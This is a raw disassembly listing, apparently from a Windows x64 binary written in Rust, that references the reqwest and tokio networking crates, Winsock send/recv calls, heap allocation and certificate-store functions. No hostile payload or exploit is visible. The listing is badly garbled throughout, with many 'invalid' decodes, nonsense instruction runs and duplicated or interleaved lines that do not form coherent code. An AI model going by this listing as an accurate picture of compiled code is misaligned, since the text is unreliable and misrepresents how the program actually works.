mov word [rax + rsi*8], fs
add eax, dword [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov word [rax + rsi*8], fs
add eax, dword [rax]
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
adc cl, ah
add eax, 0x948d4800
and al, 0xf0
invalid
add byte [rax], al
lea rcx, [rsp + 0x1d0]
rol byte [rcx], 1
add byte [rax], al
mov r8d, 0xe8
add byte [rax], al
invalid
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov eax, 1
jmp 0x1400ff78d
invalid
dec dword [rax - 0x73]
invalid
lea rcx, [rsi + 0x5f8]
mov r8d, 2
call fcn.14015cc80
int3
add eax, 0x968b4800
or byte [rsi], al
add byte [rax], al
jmp 0x1400fe774
lea rcx, [rsi + 0x5f8]
mov r8d, recv
mov rdx, r12
call fcn.14015cc80
mov r12, qword [rsi + 0x608]
jmp 0x1400fe57a
lea rcx, [rsi + 0x5f8]
mov rdx, r12
mov r8, r13
call fcn.14015cc80
mov r12, qword [rsi + 0x608]
jmp 0x1400fe5c6
lea rcx, [rsi + 0x5f8]
mov r8d, 2
mov rdx, r12
call fcn.14015cc80
mov r12, qword [rsi + 0x608]
jmp 0x1400fe5f9
lea rcx, [rsi + 0x5f8]
mov r8d, reloc.WS2_32.dll_setsockopt
mov rdx, r12
call fcn.14015cc80
mov r12, qword [rsi + 0x608]
jmp 0x1400fe694
ja 0x140100001
invalid
invalid
lea rcx, [rsi + 0x5f8]
mov rdx, r12
mov r8, r13
call fcn.14015cc80
mov r12, qword [rsi + 0x608]
jmp 0x1400fe6e4
mov esp, dword [rsi + 0x608]
jmp 0x1400fe717
clts
add byte [rdi], cl
or edi, dword [rcx + 1]
mov rdx, r12
call fcn.14015d7f0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x1401d2618]
imul esp, dword [0x15eca00bd], 0
add byte [rax], al
imul esp, dword [0x15eca00bd], 0
add byte [rax], al
call fcn.140161290
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401d3580]
mov edx, 0x23
or eax, 0x58d4c00
mov ecx, 0xba000d34
and eax, dword [rax]
add byte [rax], al
call fcn.140160fb0
ud2
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x1401d7c20]
mov edx, 0x1e
call fcn.140161290
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x23
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 0x228
call fcn.14015d7f0
ud2
mov ecx, 1
mov edx, recv
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
mov qword [rsp + 0x1d0], rdx
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], rax
cmp dword [rcx], 2
jne 0x1401001bf
add rcx, 8
lea r8, [rsp + 0x1d0]
mov rdx, rbx
call fcn.1401475e0
mov r12, rdx
test rax, rax
je 0x1401001d7
mov al, 4
mov byte [r14], al
jmp case.0x1400e7c4b.133
lea r8, [rsp + 0x1d0]
mov rdx, rbx
call fcn.140103370
mov r12, rdx
test rax, rax
jne 0x1401001b5
test r12, r12
jne 0x140100322
mov rdx, qword [rsp + 0x1d8]
mov r15, qword [rsp + 0x1e0]
cmp r15, rdx
ja 0x1401005d1
test r15, r15
je 0x14010038a
add r15, qword [rsi + 0x2618]
mov qword [rsi + 0x2618], r15
cmp r15, 0x2001
jae 0x1401005e2
cmp r15, 0xc
jb 0x14010047b
movabs rax, 0x312e312f50545448
mov rcx, qword [rsi + 0x618]
xor rcx, rax
mov edx, dword [rsi + 0x620]
xor rdx, 0x30303220
or rdx, rcx
je 0x140100274
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14010034e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401005f8
invalid
mov ah, 2
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x67cdc
test rax, rax
je 0x1401005f8
add byte [rax], al
mov r15, rax
mov qword [rax], r12
lea r12, [0x1401d2c10]
mov edi, 3
cmp qword [rsi + 0x600], 0
jne 0x1400fe92a
jmp 0x1400fe940
movzx eax, byte [0x1402153f8]
mov ecx, 0x1e
mov edx, 1
call fcn.140013830
test rax, rax
je 0x14010062b
mov r12, rax
movups xmm0, xmmword [0x1401d939f]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x1401d9391]
movups xmmword [rax], xmm0
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
add byte [rax], al
mov edx, 8
call fcn.140013830
test rax, rax
je 0x140100609
mov r15, rax
mov qword [rax], r12
mov qword [rax + 8], 0x1e
mov dword [rax + 8], 0x1e
mov qword [rax + 0x10], 0x1e
lea r12, fcn.140022090
mov edi, 3
cmp qword [rsi + 0x600], 0
cmp dword [rsi + 0x600], 0
jne 0x1400fe92a
add byte [rax], al
lea rdx, [rsi + 0x480]
lea rcx, [rsp + 0xd90]
mov r8d, 0x110
add dword [rax], eax
add al, ch
and bh, al
add eax, 0xbe834800
add byte [rsi], al
add byte [rax], al
add byte [rdi], cl
test ecx, edx
in al, 0xff
invalid
add dword [rax], eax
add al, ch
and bh, al
add eax, 0xbe834800
add byte [rsi], al
add byte [rax], al
add byte [rdi], cl
test ecx, edx
in al, 0xff
invalid
jmp 0x1400fe940
in al, 0xff
dec dword [rax + 0x33]
invalid
invalid
xchg byte [rax], bl
invalid
xor eax, dword [rsi + 0x618]
mov ecx, dword [rsi + 0x620]
xor rcx, 0x37303420
xor al, 0x30
invalid
or rcx, rax
je 0x14010054a
xor al, 0x30
invalid
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
adc dword [rax], eax
adc dword [rax], eax
test rcx, rcx
leave
jne 0x1401004a7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010061a
add byte [rax], al
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, reloc.WS2_32.dll_send
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010061a
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r12, rax
movups xmm0, xmmword [str.unsuccessful_tunnelproxy_authentication_requiredproxy_headers_too_long_for_tunnelunexpected_eof_while_tunneling]
add byte [rdi], cl
adc dword [rax], eax
add byte [rdi], cl
adc dword [rax], eax
mov dword [rax + 0xf], 0x6c656e6e
outsb dx, byte [rsi]
insb byte [rdi], dx
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
or eax, 0x114e80
or eax, 0x114e80
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne case.0x1400e4103.154
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
jnp 0x1401004f0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test rax, rax
je 0x140100609
invalid
invalid
add dword [rax], eax
invalid
test byte [0x1881004f6], dl
adc eax, 0x48000001
mov rcx, rax
mov ecx, eax
mov qword [0x140215360], rax
adc qword [rax], r8
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x67b2c
adc eax, 0x67b2c
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test ah, dh
test rax, rax
je 0x140100609
mov r15, rax
mov qword [rax], r12
mov qword [rax + 8], reloc.WS2_32.dll_send
mov qword [rax + 0x10], reloc.WS2_32.dll_send
adc eax, dword [rax]
add byte [rax], al
add byte [rbp + rcx*4 + 0x25], cl
mov dh, 0x22
and cl, byte [0x14013c435]
add byte [rax], al
add byte [rbp + rcx*4 + 0x25], cl
mov dh, 0x22
and cl, byte [0x14013c435]
and cl, byte [0x14013c435]
add byte [rax], al
cmp qword [rsi + 0x600], 0
jne 0x1400fe92a
jmp 0x1400fe940
jrcxz 0x140100548
invalid
dec dword [rdi]
movzx eax, byte [0x1402153f8]
mov dh, 5
cmpsd dword [rsi], dword [rdi]
adc qword [rax], r8
mov ecx, 0x1d
mov edx, 1
call fcn.140013830
test rax, rax
je 0x14010064d
mov r12, rax
movups xmm0, xmmword [0x1401d9360]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [0x1401d9353]
movups xmmword [rax], xmm0
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
add byte [rax], al
mov edx, 8
call fcn.140013830
dec dword [rax - 0x7b]
invalid
je 0x140100609
dec dword [rax - 0x7b]
sal byte [rbp + rbp*2 + 0x49], 0x89
invalid
mov r15, rax
mov qword [rax], r12
mov qword [rax + 8], 0x1d
mov dword [rax + 8], 0x1d
mov qword [rax + 0x10], 0x1d
lea r12, fcn.140022090
and cl, byte [0x14013c4bc]
add byte [rax], al
mov edi, 3
cmp qword [rsi + 0x600], 0
jne 0x1400fe92a
jmp 0x1400fe940
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcio_read_buf.rs
mov rcx, r15
stc
or eax, 0xf9894c00
call fcn.140160f40
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x2000
mov rcx, r15
call fcn.140160f40
ud2
invalid
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
add eax, 0xb90b0f00
add byte [rdi], cl
or edi, dword [rcx + 1]
add dword [rax], eax
add byte [rax], al
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, reloc.WS2_32.dll_send
call fcn.14015d7f0
ud2
mov ecx, 1
mov edx, 0x1e
add byte [rax], al
add byte [rdx + 0x1e], bh
add byte [rax], al
call fcn.14015d7f0
ud2
rol dword [0xf91b153d], 1
add dword [rax], eax
add byte [rax], al
mov edx, 0x21
call fcn.14015d7f0
movsd dword [rdi], dword [rsi]
rol dword [0xf91b154e], 1
ud2
mov ecx, 1
ud2
mov ecx, 1
mov edx, 0x1d
call fcn.14015d7f0
invalid
invalid
add byte [rdi], cl
invalid
cmp eax, 6
ja case.0x140100689.1
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
lea rcx, [0x14020aa78]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
mov rcx, rsi
call fcn.1400b87a0
cmp byte [rsi + 0xd0], 2
jb 0x1401006c7
sub ecx, dword [rax - 0x75]
mov esi, 0xd8
mov rdi, qword [rsi + 0xd8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x114ca4
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x114ca4
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsi + 0xf8]
mov rax, qword [rsi + 0xe0]
mov rdx, qword [rsi + 0xe8]
add byte [rbx + rcx*4 - 0x7a], cl
lock add byte [rax], al
invalid
mov r8, qword [rsi + 0x110]
push rax
adc byte [rax + 0xc8be], al
add byte [rdx], al
invalid
add dh, byte [rdi + rbx + 0x48]
lea ecx, [rsi + 0xc0]
add byte [rax], al
invalid
je 0x14010072d
lea rcx, [rsi + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], ch
add byte [rax - 0x75], cl
xchg esi, eax
mov al, 0
add byte [rax], al
mov rax, qword [rsi + 0xa8]
add byte [rax - 0x75], cl
xchg esi, eax
mov al, 0
mov rdx, qword [rsi + 0xb0]
add byte [rax], al
mov r8, qword [rsi + 0xb8]
call qword [rax + reloc.WS2_32.dll_recv]
push rax
invalid
mov rax, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x10]
invalid
invalid
invalid
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x98]
xchg byte [rax + 0x48000000], bl
add esi, 0xa0
adc byte [rbx + rcx*4 - 0x7a], cl
cwde
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
mov rcx, rsi
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
mov rdi, qword [rsi + 0x2d8]
mov edi, dword [rsi + 0x2d8]
mov rbx, qword [rsi + 0x2e0]
sahf
loopne 0x140100768
add byte [rax], al
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
invalid
je 0x140100791
cmp qword [rbx + 0x10], 0x11
jb 0x14010077f
mov rdi, qword [rdi - 8]
clc
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
je 0x1401008ff
pop rbp
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax - 0xffffffe], bh
dec qword [rax]
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
je 0x14010091c
test byte [rcx + 1], ch
add byte [rax], al
cmp qword [rsi + 0x290], 0
je 0x1401007ca
mov rcx, qword [rsi + 0x298]
mov ecx, dword [rsi + 0x298]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x2a0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d4], 0
je fcn.14010080a
cmp byte [rsi + 0x270], 2
je fcn.14010080a
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
add byte [rax], al
add byte [rax], al
mov r8, qword [rsi + 0x260]
call qword [rax + reloc.WS2_32.dll_recv]
lea rcx, [rsi + 0x2d8]
call fcn.140100960
jmp 0x1401008e7
lea rcx, [rsi + 0x2d8]
call fcn.140100b10
cmp qword [rsi + 0x9c0], 0
je 0x1401008d8
mov rcx, qword [rsi + 0x9c8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov byte [rsi + 0x2d3], 0
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
jne 0x1401007a2
invalid
dec dword [rax - 0x75]
invalid
mov rcx, qword [rsi + 0x2b0]
call fcn.1400a6150
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
jne 0x1401007b3
mov rcx, qword [rsi + 0x2b8]
mov rdx, qword [rsi + 0x2c0]
call fcn.140069a20
cmp qword [rsi + 0x290], 0
jne 0x1401007bd
jmp 0x1401007ca
lea rcx, [rsi + 0x2d8]
call fcn.140100be0
cmp byte [rsi + 0x270], 2
jne 0x1401007eb
jmp fcn.14010080a
invalid
xchg esi, eax
sub byte [rcx], al
add byte [rax], al
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x130]
add rsi, 0x138
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
add byte [rax], al
mov r15, rax
and eax, 3
cmp eax, 1
jne 0x140100fc9
mov rax, r15
dec r15
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov rax, qword [rsp + 0x30]
call qword [rax]
mov rax, qword [rsp + 0x30]
cmp qword [rax + 8], 0
je 0x140100fb7
cmp qword [rax + 0x10], 0x11
jae 0x140100f9f
mov r8, qword [rsp + 0x28]
jmp 0x140100fa8
invalid
mov r8, qword [rsp + 0x28]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [r12 + 0x78], 1
test bpl, bpl
jne 0x140100fe7
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1401012ba
lea r15, [rbx + 8]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [rbx + 8]
call fcn.14009e520
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14010100e
mov rcx, rbx
call fcn.1400059f0
mov rax, qword [r15]
lock dec qword [rax]
jne 0x14010101f
mov rcx, r15
call fcn.140005b70
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rbx, [r13 + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x140101247
movzx eax, byte [r13 + 0x28]
mov r15, qword [rsi + 0x10]
lock inc qword [r15]
jle 0x1401012ec
mov rdx, qword [r13 + 0x40]
cmp rdx, qword [r13 + 0x38]
jne 0x14010107b
lea rcx, [r13 + 0x30]
call fcn.14009cb60
mov rdx, qword [r13 + 0x40]
lea r14, [r13 + 0x28]
mov rax, qword [r13 + 0x30]
mov qword [rax + rdx*8], r15
inc rdx
mov qword [r13 + 0x40], rdx
mov qword [r13 + 0x18], rdx
cmp rdx, 0x10
sete bpl
mov rax, qword [0x1402153f0]
adc dword [r8], eax
shl rax, 1
test rax, rax
jne 0x14010128a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test bpl, bpl
je 0x1401010dd
mov rax, qword [r13 + 8]
mov r8, qword [r13 + 0x10]
mov rcx, qword [rax + 0x10]
mov edx, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x1401012f0
mov r14, qword [rsi + 0x18]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
cmp r14, 0xffffffffffffffff
je 0x140101148
mov rbx, qword [rsi + 0x20]
test rbx, rbx
je 0x14010113f
lea rdi, [rbx + 8]
mov rcx, qword [rbx + 8]
call fcn.14009e520
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x140101117
mov rcx, rbx
call fcn.1400059f0
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140101128
mov rcx, rdi
call fcn.140005b70
mov r8, qword [rsi + 0x20]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsi + 0x18]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov r14, qword [rsi + 0x10]
lea rdi, [r14 + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x140101238
xor ebx, ebx
movzx eax, byte [r14 + 0x88]
mov rax, qword [r14 + 0xa0]
mov rcx, qword [r14 + 0xa8]
mov qword [r14 + 0xa0], 0
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x14010119a
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
sbb byte [rcx - 0x75], cl
call qword [rax + 0x18]
mov rax, qword [r14 + 0xb0]
mov rcx, qword [r14 + 0xb8]
xchg byte [rax + 0x49000000], dh
mov ecx, dword [rsi + 0xb8]
mov qword [r14 + 0xb0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x1401011bb
call qword [rax + 0x18]
test bl, bl
jne 0x1401011d2
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1401012a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x1401011f5
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140101203
call fcn.1400bbcb0
jmp 0x140101203
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140101203
call fcn.140005950
mov rax, qword [rsi + 0x10]
lock dec qword [rax]
jne 0x140101226
mov rcx, qword [rsi + 0x10]
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400051c0
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401666c0
mov ebx, eax
xor bl, 1
jmp 0x140101171
lea r14, [r13 + 0x18]
call fcn.1401666c0
mov r15d, eax
movzx eax, byte [r13 + 0x28]
lea rdx, [r13 + 0x30]
mov r8, qword [rsi + 0x10]
mov rcx, r14
call fcn.14014bb80
mov ebp, eax
test r15b, r15b
je 0x1401010ad
lea r14, [r13 + 0x28]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
je 0x1401010ad
call fcn.1401666c0
test al, al
jne 0x1401010ad
mov byte [r14], 1
jmp 0x1401010ad
call fcn.1401666c0
test al, al
jne 0x1401011d2
mov byte [r14 + 0x88], 1
jmp 0x1401011d2
call fcn.1401666c0
test al, al
jne 0x140100fe7
mov byte [r12 + 0x18], 1
jmp 0x140100fe7
ud2
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x38], rax
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtimeiodriver.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_wake_I_O_driver
lea r9, [0x1401de7b8]
lea r8, [rsp + 0x38]
mov edx, 0x19
call fcn.140161200
ud2
and eax, 0x66b8f
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add al, dh
dec qword [rax]
or al, 0x48
mov ecx, dword [rsi + 8]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [r13 + 0x40]
movaps xmmword [rsp + 0xc0], xmm0
rol byte [rax], 0
add byte [rcx - 0x75], cl
mov qword [rsp + 0xcd], rax
rol byte [rax], 0
add byte [rcx - 0x75], cl
mov qword [rsp + 0xcd], rax
mov r15d, ebx
mov r12d, ebp
mov esp, ebp
mov esp, ebp
jmp 0x140101ae6
and al, 0x68
call qword [rax + reloc.WS2_32.dll_recv]
mov ebx, r15d
mov ebp, r12d
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmm2, xmmword [rsp + 0xa0]
movaps xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x200], xmm2
movaps xmmword [rsp + 0x210], xmm3
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x220], xmm0
mov rax, qword [rsp + 0xcd]
mov qword [rsp + 0x22d], rax
lea rax, [0x140204f08]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 1
mov qword [rsp + 0xf8], 0
lea rax, [0x1401d3af8]
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0xe0]
call fcn.140083bf0
cmp qword [rsp + 0x28], 0
je 0x140101ed0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
cmp r14b, 4
je 0x140101f0a
mov byte [rsp + 0x28], r14b
mov byte [rsp + 0x29], bl
mov byte [rsp + 0x2a], bpl
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movaps xmm3, xmmword [rsp + 0x210]
movups xmmword [rsp + 0x2b], xmm0
movups xmmword [rsp + 0x3b], xmm1
cmp ecx, dword [rdi]
adc dword [rsp + 0x4b], edx
cmp ecx, dword [rdi]
adc dword [rsp + 0x4b], edx
movups xmmword [rsp + 0x5b], xmm3
movaps xmm0, xmmword [rsp + 0x220]
movups xmmword [rsp + 0x6b], xmm0
mov rax, qword [rsp + 0x22d]
mov qword [rsp + 0x78], rax
mov r13, qword [rsp + 0x80]
movzx r15d, byte [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rdi], cl
mov dh, 0xbc
and al, 0x89
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x8a], al
and al, 0x88
add byte [rax], al
add byte [rdi], cl
mov dh, 0xbc
and al, 0x89
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x8a], al
movups xmm1, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x140], xmm0
mov word [rax + rbx*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x140], eax
movups xmmword [rsp + 0x14e], xmm1
test r13, r13
je 0x140101f97
lea r12, [rsp + 0x2b]
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x140101ca0
lea rcx, [rsp + 0x70]
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
movzx r14d, byte [rsp + 0x28]
movzx ebx, byte [rsp + 0x29]
movzx ebp, byte [rsp + 0x2a]
mov qword [rsp + 0x58], r13
mov byte [rsp + 0x60], r15b
mov byte [rsp + 0x61], dil
movups xmm0, xmmword [rsp + 0x14e]
movups xmmword [rsp + 0x70], xmm0
and al, 0x70
and al, 0x70
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rsp + 0x62], xmm0
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movaps xmmword [rsp + 0xe0], xmm0
sub dword [rsp + 0xe0], eax
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0x100], xmm2
movaps xmmword [rsp + 0x110], xmm3
movups xmm0, xmmword [r12 + 0x40]
movaps xmmword [rsp + 0x120], xmm0
mov rax, qword [r12 + 0x4d]
mov qword [rsp + 0x12d], rax
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmm2, xmmword [rsp + 0x100]
movaps xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x190], xmm3
movaps xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x1a0], xmm0
add byte [rax], al
mov rax, qword [rsp + 0x12d]
mov qword [rsp + 0x1ad], rax
cmp r14b, 4
je 0x140101f8d
mov rax, qword [rsp + 0x1ad]
mov qword [rsp + 0x130], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x123], xmm0
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x113], xmm3
movups xmmword [rsp + 0x103], xmm2
movups xmmword [rsp + 0xf3], xmm1
movups xmmword [rsp + 0xe3], xmm0
mov byte [rsp + 0xe0], r14b
mov byte [rsp + 0xe1], bl
mov byte [rsp + 0xe2], bpl
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x28
lea rdx, [rsp + 0xe0]
call fcn.140083a40
movzx eax, byte [rsp + 0x28]
cmp al, 3
je 0x14010203a
movzx ecx, word [rsp + 0x29]
movups xmm0, xmmword [rsp + 0x2b]
and al, 0x2b
and al, 0x2b
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x3b]
movaps xmmword [rsp + 0x90], xmm0
nop
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x4b], al
nop
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x4b], al
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rsp + 0x5b]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rsp + 0x6b]
movaps xmmword [rsp + 0xc0], xmm0
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0xcd], rdx
mov byte [rsi], al
mov word [rsi + 1], cx
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmm2, xmmword [rsp + 0xa0]
movaps xmm3, xmmword [rsp + 0xb0]
mov al, 0
add byte [rax], al
movups xmmword [rsi + 3], xmm0
movups xmmword [rsi + 0x13], xmm1
movups xmmword [rsi + 0x23], xmm2
movups xmmword [rsi + 0x33], xmm3
movaps xmm0, xmmword [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x43], eax
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x43], eax
